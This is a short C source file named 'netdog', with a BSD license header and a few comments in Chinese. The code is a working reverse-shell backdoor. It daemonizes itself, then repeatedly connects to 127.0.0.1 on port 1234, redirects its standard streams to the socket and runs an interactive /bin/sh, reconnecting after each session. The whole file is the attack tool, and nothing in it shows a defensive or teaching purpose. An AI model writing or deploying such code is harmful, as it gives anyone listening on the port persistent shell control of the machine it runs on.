/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
/*
 * main.c
 * Copyright (C) 2016 
 * 
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name ``'' nor the name of any other
 *    contributor may be used to endorse or promote products derived
 *    from this software without specific prior written permission.
 * 
 * netdog IS PROVIDED BY  ``AS IS'' AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL  OR ANY OTHER CONTRIBUTORS
 * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
 * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
 * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
 * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>

#include "netdog.h"
#define DEFAULTPORT  1234
#define BUFFER_SIZE 1024
#define TRUE 1
#define FALSE 0

int main()
{
    int pid;
    nd_socket_t where = {UNUSED,0};
    ///定义sockaddr_in
    struct sockaddr_in servaddr;
    memset(&servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(DEFAULTPORT);  ///服务器端口
    servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");  ///服务器ip
    if(daemon(0,0) != 0){
		printf("Demonilize error: %s(errno:%d))\n",strerror(errno),errno);
		exit(1);
    }
 
	while(TRUE) {
		if(where.isused == UNUSED){
			where.fd = socket(AF_INET,SOCK_STREAM, 0);
			//端口探测
			printf("PID is :%d\n",getpid());
			while(connect(where.fd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < 0) {
				printf("connect error: %s(errno: %d)\n",strerror(errno),errno);
				printf("-------------------------\n");
				sleep(5);
			}
			where.isused = USED;
		}
		pid = fork();
		if(pid > 0) {

			close(where.fd);
			where.isused = UNUSED;
			wait(NULL);
			printf("#########################");

		}
		if(pid ==0) {
			printf("PID is :%d\nPPID is :%d\n",getpid(),getppid());
			dup2(where.fd,0);
			dup2(where.fd,1);
			dup2(where.fd,2);
			execlp("/bin/sh","/bin/sh","-i",NULL);
		}
		
	}
    return 0;
}
